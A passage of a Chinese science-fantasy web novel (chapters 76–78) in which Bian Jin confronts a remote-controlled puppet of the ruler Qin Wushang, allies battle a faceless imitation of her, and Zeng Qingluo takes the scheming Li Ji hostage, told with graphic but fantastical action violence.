“这个片段很珍贵的。当初你焚毁了一切,企图掩盖真相,百万大军如同你那三师妹一般,尸骨无存。我在那片灰烬里寻找了好久,花了好大的力气才复原了这段影像。他们这么生气,是因为我提前给他们看过了。虽然我很擅长造假,但这段影像我可以用弦昼国所有子民的性命担保,货真价实。”
第76章
一个男人濒死虚弱的喘息声后,影像开始。
影像有些模糊,带着颗粒感,还有点卡顿,看得出来修复的痕迹。
视角的主人似乎刚刚从昏厥中惊醒,用残存的最后一丝力气撑开眼皮。
他发现自己并不是躺在地面上,而是躺在一座由尸骸堆砌成的尸山上。
有半个脑袋就在不远处,他认出了,那是他刚至弱冠之年的弟弟。
惊呼一声,艰难地爬过去。
不止是他弟弟,昔日风雨同舟不离不弃的战友们全死了。
一张张灰败的脸残缺的尸身就在眼前。
百万大军诡异地全军覆没,死得莫名其妙。
他抱着弟弟的双手在发颤,言语中已濒临疯乱,低语着“快醒来,快点醒”。
他不信,这肯定是场噩梦。
有人踏着尸骸,一步步走向他。
他惊愕地抬起头,看见了边烬。
边烬一身的战甲已经被血染成了深红色,发髻散乱。飘着火星子的墨色天空下,玉面无情,好似地狱罗刹。
边烬左手拿着挂着血肉的骨鞭,右手放下一个事物。
视角聚焦,放下的是一颗人头。
是他同袍的头颅。
“总都督……边女郎……你为什么……”
他每说半句话,就会咳出一大口血,绝望地爬向边烬,想从她口中得到答案。
而边烬望向他的眼神没有半点动容。
一拳砸下,影像结束。
最后这一拳,引起周围痛苦的低呼。
围着边烬的众人,有些人强迫自己再次看完,愤怒难当;有些人则是看了一半就不敢再看,因为那影像的一角有自己至亲的头;更有些人发了狂,操起身边的石头砖块狠狠掷向边烬,恨不得将她千刀万剐。
无论众人怎么骂她打她,边烬始终站在那,像尊感觉不到痛楚也不会说话的雕像。
没有还手没有张口,动也不曾动。
血缓缓从她额头伤口中流下,沾湿眼睫。
缓缓眨动,肉眼不可见的细微血雾在她眼眸之上绽放。
秦无商一直在角落里观察边烬的反应。
这件事对于一心想证明自己从未叛国的边烬而言,无疑是致命的打击。
同胞的憎恶是最锋利的匕首,刺穿她的理想之帆,所有的信念就此搁浅,天翻地覆。
她应该万箭穿心般痛苦。
可眼前的她就站在那,无泪无言,不怒不悲,任一切苦痛肆意浇濯。
老者一阵剧烈的咳嗽之后,抽噎着,老泪纵横,指着她发誓:
“明日,我就会将我看到的一切公之于众!让整个帝国的人都知道你是杀人魔!是蛇蝎心肠卑鄙无耻的叛国贼!我要活着看你众叛亲离,到九泉之下向我儿赔罪!”
那老者的话终于让边烬有了些反应。
她眼眸轻闪,似乎在思考什么。
秦无商很是时候地煽风点火,对边烬道:
“哎呀,这件事要是曝光的话岂不是很麻烦?你师妹费劲心思和李渃元周旋了这么久,费尽心思地护你,到头来她全心全意的信任得到的竟是背刺。要是她知道你真的是万人唾弃的卖国贼,百万大军死于你的屠杀,表情会有多精彩呢?
“可惜啊,她的名字早就和你锁定在一起了。那些付出,那些恩爱,换来的是身败名裂。
“有你这样的妻子,往后她还如何在帝国立足?不得人人喊打?
“要我说呢,你就不该回到这儿。这儿根本没人欢迎真正的你。”
秦无商知道这些话一字字都能刺进边烬的软肋。
而边烬凝视她的眼神锋利如刀,换成旁人肯定会害怕打抖,而秦无商只觉得无比兴奋。
果然只有边烬能带给她这样的体验。
边烬在暗暗施力,秦无商劝她:“真的不用白费力气啦。锁链能抵抗得了你力量的上限,你是不可能挣脱的。”
边烬:“你能潜入长安城必定费了不少精力和人力。既然已经抓到我了,为什么不直接把我带回你的弦昼国?费劲在这里演戏?”
秦无商遗憾道:“看来你是真的失忆了。好伤心啊……你怎么能忘记我们朝夕相对的日日夜夜?怎么能忘了我们的魔种?若不是你当初走得太突然太绝情,我们的魔种怎么会还差一张脸呢?”
秦无商看上去疯痴,却也有脑子。
她没有正面回答边烬的问题。
边烬留意到她话中重点。
魔种?
差一张脸?
边烬正在思索时,有人悄悄从她身后靠近。
那男人手里握着把匕首,一开始因为边烬的威名有些惧意,躲在人群之后暗暗观察。看边烬不躲不还手,是真的被那锁链困住了,胆子也大了起来,掏出一早就准备好的凶器,悄然从后方接近她。
等明日边烬叛国罪传遍整帝国,杀了边烬的他,不仅为大哥报了仇,还会立即成为英雄。
男人掌心里是因为紧张而生的汗水。
这可是他此生扬名立万的唯一机会了。
就在匕首对着边烬的后背猛刺的时候,一只机械臂钳住他的胳膊。
男人诧异地抬头,发现钳着他的机械臂居然是从秦无商脖子后面延伸出来的。
机械臂力道极大,控制着他的胳膊,完全动弹不得。
秦无商用眼角瞥来一丝嫌恶。
“肮脏的臭虫,她是我的。谁允许你动她?”
一瞬间钳断了男人的手臂。
男人痛号,鲜血四溅,机械臂忽然伸得极长,变作一把锋利的镰刀在空中呼啸着横扫,直接将那男人的头割断。
在众人害怕的惊呼声中,机械臂利落地缩回了一臂的长度,如顺水漂浮的水草,柔软地在秦无商脑袋后面摇摆着肢体。
这只她豢养的魔物,刚刚杀完人,回到她身边变成了乖巧的宠物。
方才义愤填膺的众人被这血腥的一幕震慑,面面相觑。
秦无商双手交叉套在官袍的宽袖中,转向边烬的时候,换回了笑脸。
青紫的皮肤带着死气沉沉的气息,偏偏五官却怪异地上挑着,不像是肌肉带动的笑容,宛若有人用看不见的线吊着她的五官,硬生生地拽起,僵硬得不似活人。
秦无商关心地问边烬:“宝贝没被吓着吧?”
机械臂像有自己的意识,察觉到了边烬的存在,晃到她面前,带着血腥味的夹手在她面前好奇地张合着。
秦无商开心道:“看来我的小助手也很喜欢你呢。”
边烬:“所以我失去记忆那三年,在弦昼国?”
秦无商笑着拎起锁链的一端。
“又在套我话,哎,谁让我总是会偏爱你呢?不过这儿不是说话的好地方,等你跟我回了弦昼国,你想知道什么我都会告诉你。还能帮你恢复记忆哦。”
边烬轻叹一声。
秦无商:“嗯?”
边烬:“看来是套不出话了。算了。”
秦无商心下无端跳漏了一拍。
完全看不到边烬是怎么挣脱了锁链,只听碎裂声响起的同时,劲风迎面压来,秦无商本能一闪,跃到墙头,发现自己少了一只胳膊。
少的那只胳膊,在边烬手里。
秦无商“啊”了一声,吹了吹头上的符纸。
“我真傻了。你心爱的小师妹肯定帮你换了玉璧呀,力量的上限也该重新计算。现在的你比之前更厉害,更让人兴奋了呢。刚才一直在做戏,故意被我捆住,就是为了套我话么?”
“好坏哦。”她笑声渗人,眼睛露出贪婪的光,”哎,沈逆会做出什么样的玉璧,我可太好奇了。宝贝能不能让我看看你的新玉璧?我一定不会弄疼你的。”
懒得回答她不着边际的妄言,边烬道:
“你也不是秦无商本人。”
毕竟断了一只胳膊,半点血没流。
秦无商不仅不流血,连痛觉都感受不到似的,表情轻松。
秦无商:“那是自然,我怎么会让自己涉险进入长安城呢。”
边烬把控制三师妹女儿体内炸弹的按钮从断手中抠出来。
再掰下一根手指,用随身携带的手套层层包住之后,有些嫌弃地挂到蹀躞带上。
边烬道:“你不是秦无商,但现在和我说话的是秦无商本人。”
边烬想了想,又道:“远程连线,和远距离操作机械臂一个原理。代替你进入长安城的这个玩意,也是你炼出来的魔种吧。”
此刻,远在万里之外的弦昼国国主寝宫内。
真正的秦无商卧在堆满了符纸的床榻上,紫发像水藻铺在她身上,毛躁干枯,完全不打理,任它们从肩头延伸到床下。
秦无商一头紫色的头发,穿着紫色的寝衣,连细长的指甲都是紫色的。
她对紫色有种病态的执着。
被边烬说中了,在长安城作乱的,的确是“她的”魔种。
她和自己的魔种在外形上几乎没有区别。
只不过,魔种的额头上有一张符纸,而她本人,则是整张脸贴满了符纸,身上更是裹满了符纸。
符纸的间隙内,可以看到已经发黑的皮肤。
她面前是投影,投影实时传送回身处长安城魔种的所见所闻。
秦无商一边操纵着魔种,一边还在匆匆忙忙一刻不能停歇地画符纸。
听到边烬这句话,秦无商抬手扬起一张写就的符纸,咯咯笑。
笑声在空旷无人的寝宫里回荡着。
“宝贝你真的好聪明。这让我更想念你了。真恨不得立即把你的喜怒哀乐载入咱们的魔种里。我要帮她画眉,描唇,让她长出和你一模一样的五官。”
几乎没有延迟,长安城中,边烬面前的这个秦无商也说出了一模一样的话。
秦无商的话让边烬反胃。
但边烬也明白了秦无商为什么要兴师动众闹出这么大的动静。
因为边烬心绪太过平稳,而秦无商要的就是她的情感。
刺激出她更多浓郁的情绪,便能更好地浇灌魔种。
就在这时,被秦无商带来的众人发现情况不太对劲,边烬居然挣脱了锁链。
方才他们那般羞辱她,她必定是要报复回来的。
人群开始骚动,害怕地往后退,打算逃离此地。
秦无商望向他们,“他们就这样逃走了,你一定很不甘吧?”
边烬眉心轻蹙,已经知道秦无商要做什么了。
“秦……”
弦昼国的秦无商开心地按下一个按键。
想要逃走的上百人忽然爆炸。
整条巷子的墙面霎时被染成血红色。
温血很快汇聚,像铺展开的红毯,向边烬的脚边蔓延。
秦无商:“他们都想让你死,我替你把他们都杀了,我好不好……”
话音未落,边烬跃上墙头,猛然掐住秦无商的脖子。
边烬的动作实在太快,秦无商的眼睛根本捕捉不到她的动作。
边烬将她拎起,手中力道极重。
“既然你能清空这个区域,让其他人无法进入,自然不会让自己被长安城的监控发现。你早就预谋杀死他们,然后悄无声息地脱身。到头来他们的死,只会嫁祸到我头上。我是还没找回那三年的记忆,不过能确定一件事,像你这样的脏东西,我绝不会与你有染。”
脖子随时都会被边烬捏断,被轻蔑地嘲讽,秦无商却还在笑,用她沙哑的声音道:
“我不明白,你这样绝世的才能,为什么甘愿保护这些愚民?你看这些低贱的蝼蚁,无知狂妄,犯不完的蠢,散不尽的戾气。他们根本不管你曾经为这个国家做过什么,你又如何庇护过他们,只凭一个投影就能恨你入骨。而你的小师妹呢,先不说她会如何看待杀了百万将士的你,就说你自己……我是脏东西,你呢?你敢让她知道真实的你吗?”
不知为何,边烬觉得秦无商并不是在和她说话。
正透过她的眼,往她心里挖。
“这个国家没有值得你留恋的东西,来弦昼找过我吧,弦昼才是咱们的快活乡。”
说完这番蛊惑人心之言,秦无商双眼骤然变红。
边烬立即放开她,与此同时秦无商陡然爆炸,和那些人一样炸得尸骨无存。
边烬及时躲到了数十米之外。
看来和上回一样,上回是用箱水母炸烂了魔种,这次是早就有备而来,不想留下线索。
幸好她早一步掰下一根手指,带回去可供沈逆研究。
想到沈逆,边烬心头一阵酸意,站在弥漫着浓郁血味的风里出了一会儿神。
直到被爆炸声吸引而来的南衙护卫队寻到附近,边烬才缓回神。
秦无商的魔种能在长安城横行无阻,必定是有人相助,将她引来此地或许会对沈逆不利。
边烬往酒肆的方向回去时,脑海中不断闪现杀死士兵们的画面。
蛇蝎心肠卑鄙无耻的叛国贼!
边烬闭了闭眼,跃上屋顶,消失在惨淡的月光下。
第77章
轰隆一声巨响,窦璇玑和房判顿时停下脚步,诧异地往回看。
身边路人忧心忡忡道:
“怎么回事?是异兽么?”
“没听到有警报呀。”
又是一声巨响,大地都在震颤,有几个腿脚不利索的直接一屁股墩到地上。
窦璇玑对着人群喊:“速速疏散,去室内找庇护!”
路人们立即逃窜。
即便穿着便服,窦璇玑和房判已经养成了武器不离身的习惯,持.械往出事的地方赶去。
大老远便见几个身影在屋顶上打斗,窦璇玑认出了其中一人是沈逆。
和她对战的……
窦璇玑拉了拉房判。
“我眼睛是不是出事了?你帮我看看,和沈逆对战的那个人像不像边烬。”
房判只有一只独眼,装了和她天赋等级相匹配的B级电子眼,有夜视功能和长焦镜头。
房判掀开帷帽,拉近距离。
“好像真的是边烬……”
正说着,数百米之外的“边烬”像是察觉到有人在暗暗窥探,忽然转过脸,看向镜头。
没有五官的脸吓得房判整个人往后仰。
“妈呀,怎么这个边烬没脸?!”
房判还没说完,窦璇玑脸色一变,迅速往前一步插到房判身前,抬臂猛挡。
“锵”一声金石相交火花四溅,射向房判的暗器被窦璇玑勉强挡开。
那暗器在空中就解了体,最后散在地面上。
窦璇玑手臂发麻,刀都打出了个豁口。
那是“边烬”从数百米外飞来的暗器,极其精准,要不是窦璇玑反应快挡下这一招,房判的脑袋恐怕已经开花了。
而袭击房判的东西是……
从屋顶上随意取下来的一块瓦片。
窦璇玑看看瓦片的残骸,再看看自己的刀。
离谱。
要不是距离太远,她都不可能挡得下。
这力道和精准度恐怕不是一般S级战斗天赋者能做到的。
S级之上,只有双S级。
这种能力,只可能是边烬。
房判想起边烬夜闯丽景门,也是用一块瓦片划伤了门主的脸,在丽景门的墙面上留下一片无法消除的可怕孔洞。
窦璇玑问房判:“没脸?什么意思?”
“字面意思,不,不是没脸,有脸,但没五官!”
窦璇玑见多了异兽,各种畸态对她而言都已经见怪不怪了。
可没五官的还是第一次听说。
沈逆对上这玩意太危险了。
窦璇玑提刀就走,房判持弓紧追随其后.
圆月之下,无脸女向沈逆和第五阙走来。
第五阙还在震惊之中没缓过神。
“她刚才一鞭子把你的戒棍给抽飞了?”
沈逆:“不仅抽飞了,还得空拾了个瓦片不知道袭击了谁。是在告诉咱们她游刃有余得很呐。”
“这种事我都做不到……她长得像边烬,没理由能力也像啊。逆逆,你见多识广,你给掌掌眼,这玩意到底是啥?机械人?”
“不像。机械人那种铁疙瘩,走哪儿都咣咣响,重得要命,这种屋顶不直接掉下去就不错了,但你看她脚步。”
无脸女朝她们走过来,脚踏在瓦片上犹如捕猎的猫,半点声音都没有。
“没动静。”
“是,很轻。不是履的问题,她的重量应该比一般人轻得多。”
第五阙感觉憋尿影响了智商,“那这到底是个什么东西?”
无脸女鞭子当空抽过来,沈逆和第五阙立即往两边闪。
瓦片被抽成碎末飞溅,糊了沈逆的眼睛。
沈逆眼睛被弄得睁不开,下一刻,无脸女闪现身后,双臂紧扣,勒住她的脖子。
巨大的力道几乎将她勒到窒息。
沈逆咬着牙关,从牙缝里挤出几个字。
“只是像我师姐罢了,又不是她……不许抱我。”
一阵强烈的电流闪进无脸女的身体里,来自沈逆的手臂外骨骼。
本以为无脸女会脱手,可电流入体,她的力道竟没有松懈半分,甚至没有任何痛苦状。
她箍着沈逆的脖子不撒手,分明就是想让她窒息昏迷。
这是要绑架……不妙。
沈逆的意识顷刻间变得稀薄。
第五阙持双刀杀来刺向无脸女的后腰,无脸女猛然转身,长腿扫中第五阙。
第五阙抬起胳膊强行挡下,剧痛中她半步不退,双刀旋身斜斩。
无脸女敏捷躲过,却被一阵巨大的冲击力轰飞。
掀起一整片的屋顶,飞入远处坊间。
轰她的正是沈逆。
沈逆手臂外骨骼连接着能量池,不仅能电击,还能发射三次电磁炮,其威力足以轰烂一座山。
“不知道死了没有……”
沈逆脖子剧痛,眼睛也迷迷糊糊的。
她看第五阙垂着一只胳膊,问她:
“阿阙,没事吧?”
“疼死我了。”第五阙痛到龇牙咧嘴,“胳膊好像断了……怎么同样是断胳膊,她断的就这么痛?而且你不是电着她了么?怎么会没事?”
沈逆张合着手臂外骨骼,外骨骼发出专属于机械运作的声响。
“是电着了,凤翼级的异兽挨一下都得吃不了兜着走。这玩意半点反应都没有。估计不导电。”
“什么?还有不导电的身体?无论碳基还是硅基都导……”
第五阙没说完,无脸女已经闪现到她面前。
快得根本看不清。
扬起的鞭子还未被双眼捕捉,死亡的预感已经让第五阙心头发凉。
“砰”的一声闷闷的,是鞭子抽在坚硬的布料上声音。
一把黑伞在无脸女面前高速旋转,坚固又紧绷的伞面加上急速的旋转,将鞭子“嗖”地弹开。
贺兰濯急速收伞,猛地提伞踏前一步,对着无脸女的喉咙直刺。
这一招极快极狠,伞尖非常锋利,能轻易贯穿钢铁。
与此同时,贺兰濯释放巨量的精神力。这一波精神力能够瞬间摧毁人类的意识,轻则精神错乱、发狂,重则当场死亡。
让贺兰濯想不到的是,伞尖精准地刺中了无脸女的喉咙,却没有贯穿的手感,宛若普通的钝器戳向放了气的轮胎。
而她如海潮般的精神力如同面对空无一物的天空释放,没有半点效果。
贺兰濯疑惑的目光稍偏,看向无脸女的喉咙。
整个喉咙凹陷,的确没刺破。
这是什么怪异的体质?
无脸女一脚蹬向贺兰濯的腹部。第五阙知道这一腿的威力,比机械师还脆弱的精神天赋者,被踢中的话得大受罪了。
第五阙转身抱住贺兰濯,硬生生用自己的后背扛下来。
剧痛之下也不肯吃亏,往后狠狠一踢,正中无脸女的胸口。
她一脚下去的力道能破巨石,可无脸女只是往后退了几步,半声不吭。
第五阙的腿倒是说不清的闷痛,脚上的感觉也是奇奇怪怪的。
无脸女注意力被第五阙她们吸引着,沈逆立即发射第二发电磁炮。
无脸女的左肩已经被第一发电磁炮卸掉了一大半,第二发再袭,她完全没有本能的惧意,反而迎面冲着沈逆狂奔。
这一发电磁炮轰掉了她的右手,持鞭的左手依旧稳稳拿着鞭子。
长鞭当空劈来,沈逆闪躲时脑子里不免想到,边烬也是左撇子。
这不知来路的怪物处处模仿边烬,连左撇子也模仿么?
她来自弦昼国,无疑和秦无商密不可分。
秦无商疯疯癫癫,爱慕边烬已久,打造边烬的仿品是她会做出的事。
可是,要做左撇子这种细节,需要加入大量不必要的运算,这让同为机械师的沈逆感觉有点微妙。
稍微出了个神,被闪到她身后的无脸女狠狠抽中后背。
沈逆疼得“嘶”了一声,在地上灵活一滚翻,拉开距离。
第五阙:“没事吧你!”
沈逆眼里一包泪,坚强道:“没事。鞭子也是仿的,不是真正的骨鞭。”
第五阙:“你怎么知道的?”
沈逆:“我挨过骨鞭,可比这辣多了。”
第五阙:“看不出来,你们玩挺花。”
沈逆:。
……
鹤径酒肆内。
双极楼的其他同门本来还在看表演,忽然听到外面传来爆炸声,所有人具是一吓,还在台上跳舞的舞姬都停下了动作。
不知是谁在门口喊了一声:“有异兽!”
老板对付异兽骚动已经颇有经验,立即让客人们从四个应急出口出去,这四个出口都能通往防护所。要是害怕待在屋内也行,酒肆的门窗都是特殊金属特质的,全部关合能抵挡一时。
在乱世开娱乐场所,头多少有点铁,老板有条不紊指挥调度着。
尚在酒肆的双极楼门下,辈分最高的是五师姐,师妹师弟们还是习惯辈分最高者拿主意。
五师姐道:“大师姐和小师妹出去这么久了,也不知道是不是在外面遇到事儿了。这样,愿意跟我出去寻找她们的现在就走,其余的留下保护弱小,见机行事。”
有七个人愿意和五师姐一起出发,剩下的大多是天赋平庸,怕出去送死,选择留在这儿。
双极楼分作两拨人马,五师姐她们出了酒肆,往动静传来的地方奔去。
而在隔壁华楼之上,悠然坐着个雍容美艳的女人,双极楼门下所有动向都落入她眼中。
她喝完了手里的酒,才慢吞吞地对面前的两名武卫道:
“两拨人都抓起来。若是那姓秦的和没脸的怪物不堪用,还有这帮人质,不怕沈逆不就范。”
“喏。”
两名武卫其中之一便是康逸,另一位是从睦州赶来的繁之,同样是S级战斗天赋者。
发号施令的自然是裴寂。
康逸和繁之刚刚领了命,一抬头气氛陡然惊变。
裴寂也察觉到了身后忽然而至的危险,正想坐起来,脑袋上被顶了一把枪。
动作顿住。
康逸和繁之立即抽出武器,枪的主人发话了:
“想让她死的话,尽管动手。”
是曾倾洛。
康逸好奇,这战斗天赋只有B级的小娘子,是如何悄无声息出现的?
他并不知道,曾倾洛有一条腿是沈逆为她量身打造的S级义体,能够完美潜行。
康逸和繁之暗暗交换了一下眼神。
曾倾洛:“退后。”
裴寂眼珠微转,往后靠到曾倾洛的怀中,自信地笑道:
“你爱我都来不及,怎么舍得杀我呢。”
转而继续对康逸他们说:“你们去抓人……”
话还未说完,曾倾洛手中的枪柄狠狠砸在裴寂的脑袋上。
裴寂被砸得一阵晕眩,眼前发白,剧痛之下意识都涣散了,只觉得温热的血从额头缓缓下淌,浸湿了她的睫毛。
这一下没有分毫容情,是下了狠手。
康逸急忙喊了声“住手”,让繁之一起将武器收回去。
裴寂闭着一只眼睛,难以置信道:“你……”
曾倾洛握着枪的手在发颤。
真是可笑啊。
这个人让她日思夜想,痛苦地思忖进退的分寸。
当她发现弦昼国的女帝往她方向去的时候,还万分天真地以为秦无商要伤害她,不顾一切要去救她。
结果,看到了什么?
看到的是秦无商在和她密谋。
距离太远,听不清她们的计划,只见她们交谈甚欢,画了几张地形图。
当时曾倾洛脑中嗡嗡作响,通体如浸在冰水之中。
她亲耳听到那群武卫喊裴寂“殿下”,
所有隐秘的快乐和刚刚冒头的幸福,全部变成了面容狰狞的怪兽,嘲笑她痴心妄想,愚蠢至极。
裴寂意识渐渐拢回了一些,脖子被曾倾洛勒着,枪口依旧顶在她的脑袋上。
滴答、滴答……
是血滴在地上的声音。
她居然打她?
除了异兽,她还没被人这样粗暴对待过。
曾倾洛的枪口又一次施力,顶歪她的脑袋。
再一次警告武卫。
“这是我最后一次说。不想李极死的话,退后。”
第78章
李极被打的这一下头疼欲裂,忍着痛楚低声命令道:
“退后。”
康逸和繁之只能听从她的话,往后退三步。
曾倾洛:“退到露台外面。”
李极:“……退到外面去!其他人也不许进来!”
康逸和繁之消失在露台,一时寂静无声,只有带着血腥味的风在她们鼻尖前轻搅。
曾倾洛往身后看,悄悄爬上来的地方是华楼垂直的外立面,三丈高,外沿非常光滑,极难攀爬。
要不是这些年做探子攒下的经验,加上义体的能力,今日她也不可能悄无声息地爬上来,顺利劫持李极。
李极知道她想带自己从那处下去,下面便是一片便于隐蔽的草丛,连接着长安城内复杂交错的小巷。
若是下去了,恐怕真要被她带走了。
李极心里恼这曾倾洛,居然真舍得对她下这么重的手,“哼”一声道:
“不就是没回你的信,至于这般大动干戈?”
曾倾洛冷眼看她,枪始终没放下。
“现在说这些有何意义?你一开始便是蓄意接近我。”
李极往后侧了侧脸。
“蓄意接近?你在说什么?”
或许是因为她太擅长说谎,听不出此句是出自真心还是假意。
曾倾洛并不愿意相信她。
“我亲耳听到他们喊你‘殿下’,安王李极,你还要在我面前装模作样吗。”
曾倾洛早就怀疑此人身份不凡。
若不是这段时日她一心扑在捕杀异兽上,连师姐们都很少联系,没有留意长安城朝野内外的动荡,早也该确定此人就是兴风作浪的李极。
李极道:“是啊,我从来都没说我不是。可我也是裴寂。这是我母亲给我起的名字,我在睦洲亲友都叫此名。只有想巴结我的人才唤我安王。面对一心想攀附的我的人,我才是李极。”
李极用那双漂亮出尘的双眼望向曾倾洛。
“你我萍水相逢,我想真心待你罢了,这有错吗?你又为何要绑走我?”
曾倾洛双眸用力一眨,看向别处,不想再听她多言。
“站起来。”
李极瞥一眼露台外侧的高度。
“你不可能抱着我从那离开。”
“我没要抱着你,你自己下去。”
李极吃了一瘪,冷笑道:
“我自己下去的话顺势就跑了,这么高的高度你能抓得住我?更别说康逸他们必然已经让弓弩手严阵以待,只要你和我稍分开半步,就会将你乱箭射杀。”
李极威胁完后,又露出点点诱惑的笑容。
“你逃不掉的,趁我现在还没真的生气,你最好来哄哄我,好好解释为何伤我。若是将我哄好,我或许会考虑放你一马……”
话音未落,李极脖子上忽然多了一样事物。
金属的冷硬不留情地紧锁在喉,李极一惊。
“这是何物?”
曾倾洛给她套上的是大理寺研制的禁锢环,曾经边烬在大理寺受过它的苦,是当下最坚固的枷械。
先前这东西宝贝的很,授权极其严格。
后来为了制服异兽,权限放宽。
这个禁锢环是曾倾洛打异兽的时候捡到的,能用,权限就是一枚芯片,她已经花钱破解了,植入自己的外接模块。
曾倾洛拉住禁锢环的侧边,抽出一根细索,和自己腿部外侧的锁扣相连,确保李极逃不了。
曾倾洛回答李极的疑问:
“这是离开我一丈远就会爆炸的禁锢环。爆炸的威力足以炸烂十个你这样的脑袋。”
李极难以置信自己听到了什么。
转眸,从落地琉璃门上看到了自己被禁锢环环住脖子的耻辱模样。
“你,竟用这种东西栓我?”
“起来。”
李极不起,忽然一阵强烈的电流入体,剧痛之下,她差点失仪地喊叫出声。
“忘了说,它还有一样功能,电击。有三挡可调,刚才我只是开了最小档。”
曾倾洛再命令。
“起来。”
李极眼里溢满屈辱不甘的眼泪,被迫起身。
多日之后,两人又一次面对面。
李极未想过,床榻上那个好控制的少女,竟还有这样一双绝情的冷眸。
“跟我走,或者死,现在选。”.
李司拎着加特林上了屋顶,人都还没看清,脑袋差点被一道横扫过来的黑光削掉。
李司惊魂往下一坐,难以置信地看向扫她的人。
那道黑光正是贺兰濯用伞攻击无脸女使出的招数,被无脸女轻巧躲过。
贺兰濯瞥一眼李司,冷声道:“无关人员,立即回避。”
李司:?
你说金吾将军是无关人员?
脑筋一转,明白了,自己还穿着性感舞裙,的确像来送死的。
李司又下去,随意扯了谁家晾在院子里的被单,往身上胡乱一裹,再次上来了。
贺兰濯看着这换了一身被单的女人:?
跑这玩变装?
沈逆发完最后一发电磁炮,被无脸女躲过,心道回头得研究一下自动追踪系统,扼腕的同时看到了李司。
沈逆:……
李司这厮,身为金吾将军跑到酒肆跳舞,还到处挑人下巴。怕人发现这不正经的兼差,披个被单来掩耳盗铃,难道不觉得这样更引人注意吗?
沈逆也没空多关注李司。
这无脸女实在难对付,让沈逆她们切身体会到,如果真的和边烬动手,会是什么样的局面。
那便是一群人围着她斗了大半天,一身的伤还完全拿不下她,陷入焦灼的苦战。
第五阙被无脸女一脚蹬飞,在屋顶上打了个滚飞身而起,毫不畏惧一刻不停,再去拆招。
眼下就第五阙一个战斗天赋者,她在前与无脸女短兵相接,而沈逆和贺兰濯则在两侧找机会补刀。
第五阙肩头和腰部被抽了好几鞭,痛得她怒从心起,越打越狠。
眼看又要中招,贺兰濯将撑开的伞横飞出去,为第五阙挡下一记,伞也被抽了个稀烂。
贺兰濯捡起伞骨,整条搓一遍,伞骨往中聚拢相接,变成一把三.棱军刺。
贺兰濯上前协助第五阙的时候,提醒道:“第五阙,你节奏乱了。”
两人搭档了三年,曾经并肩一同清扫睦洲黑魔方,对彼此的能力和作战技巧很熟悉。
第五阙有时候是挺莽的,毕竟一身使不完的力气,就算不和异兽对战,无所事事的日子里,她每天最少也要跑上十公里才能散一散身上的燥气。
大多数时候她有勇有谋,胆大心细,面对再强大的敌人都能见招拆招。
可是眼下对上这个无脸女,明显乱了阵脚,很急,不知道在急什么。
贺兰濯的提醒让第五阙有苦难言。
她实在太想去净房了,早知道会憋得这么辛苦,刚才无论如何她都去小解一趟。
谁能想到,人生最憋闷的时候会对上这么个难打的怪物啊?这得打到几时?
越憋越烦躁,越憋越痛苦。
她发誓余生但凡想小解,该解立刻解。
憋尿太影响拔刀的速度。
最可怕的是,万一个不小心死这儿了,一松懈,那场面得多难看。
贺兰濯还在这儿呢,给她收尸的时候是不是都得捂着鼻子?
为了自己的一世英名,第五阙稍微冷静了些,集中注意力判断鞭子的来势,抓住时机一把握住。
只要将这倒霉的鞭子抽走,无脸女就好对付多了。
比力气,第五阙可不会输。
两方僵持着,第五阙用尽浑身力气也没能将鞭子抽过来。
不仅没抽出来,整个一纹丝不动。
趁着无脸女站在原地和第五阙争夺鞭子,李司的加特林火力全开。
无脸女左右闪避,翻着跟头。
李司追着她狂扫,弹壳喷了个满地,分明发发冲着她的要害去,她躲闪的动作优美轻盈,竟一发都没打中。
第五阙更是看傻了眼。
等会儿,刚才这腌臜泼才翻跟头的时候,单手撑地,鞭子都没掉。
这鞭子别是和手连在一起的吧?
她还跟她拽半天!
无脸女趁着第五阙出神,一把将鞭子抽了回去。
五指张开,根本没握柄,果然是连在一起的。
第五阙气急败坏,对着沈逆骂骂咧咧。
“你不是双S级机械师吗?想想办法!”
沈逆:……
你打不过她,来骂我?
不是你说我是脆弱的机械师,被异兽一擦就碎的时候了。
沈逆是双S级机械师,可机械师不是在战场上和敌人硬碰硬的。
机械师的职责是维修战斗天赋者,制造出强大的武器和载具,供前线战士使用。
而她最杰出的作品——逆芯,此刻在边烬的身体里。
眼下被修复的边烬,就是她懒懒散散的前半生最得意的成就。
要是有这“成就”在,根本不惧无脸女。
可是这会儿师姐在哪儿?
沈逆很担心边烬,以边烬的观察力不可能这么久没发现此处的动静,定是被什么事绊住了。
无脸女诞生自弦昼国,她都出现了,秦无商怎么可能不来凑这热闹。
师姐多半是被秦无商缠上了。
李司打完一梭子,正在换弹时,无脸女突然一跃而起,从高空急速向她猛跺,动作快到根本来不及躲闪。
李司心里骂了句脏话,前半生已经变成了走马灯。
还没成亲就要死在此处,不得变成孤魂野鬼?
李司那悲伤还没完整在脑子里转一整圈,无脸女还没跺到她,她先被窦璇玑一脚踢了出去。
李司在地上打了个滚,幸免于难,一个俯卧撑撑起来,见窦璇玑居然持刀和无脸女正面较量。
窦璇玑年纪不大,胆量惊人。
面对这恐怖如斯的怪物,连李司都要琢磨一下下手时机,她不仅敢在危机时救人,还敢第一时间上前对抗。
李司脸上印着窦璇玑的脚印,眼睛却散着桃花。
“璇玑!小心!”
窦璇玑机敏一侧身,一道闪电般的箭矢射中无脸女,在她脸上炸开花。
依旧是那招,窦璇玑吸引猎物的注意力,房判一招毙命,两人配合得愈发纯熟。
上次东市斗异兽,房判因为失了准头,险些害窦璇玑丟命。之后房判勤勤恳恳地练习,这次精准射中目标。
只是,这次虽然射得分毫不差,待烟雾散去,却见无脸女本该是眉心的地方留着爆破箭射中的小坑,脑袋依旧完好无损。
房判震惊,她爆破箭里装载的炸药能轰死烛龙级的异兽,却对这个无脸女完全没有杀伤力。
窦璇玑也不信邪,用力往她肩头砍了一刀,像砍在某种凝胶上,先前的豁口直接裂断了整个刀身。
李司用加特林掩护窦璇玑退后。
李司的意思是窦璇玑来自己身边,她保护她。
结果窦璇玑跑到沈逆那,问沈逆还有没有可用的武器。
李司:……
你当我死了,我也是机械师啊!
沈逆手臂空间被她自己改造过,大有乾坤。
问了窦璇玑平时用武器的偏好和特点后,立即搓出一把电刃,给窦璇玑使用。
这把电刃无论长度还是重量都非常趁窦璇玑的手。
李司:。
看来机械师和机械师还是不一样。
难怪臭狐狸能娶到媳妇,她想娶的媳妇不仅没娶到,还踹她脸。
窦璇玑是A级的战斗天赋,加上李司为她量身打造的新玉璧,手里还握着沈逆手搓武器,战力大增。
她没和沈逆第五阙配合过,一开始合力对战无脸女有些不适应。不小心踹了第五阙一脚,拆了几招,又差点把沈逆的鞋踩掉。
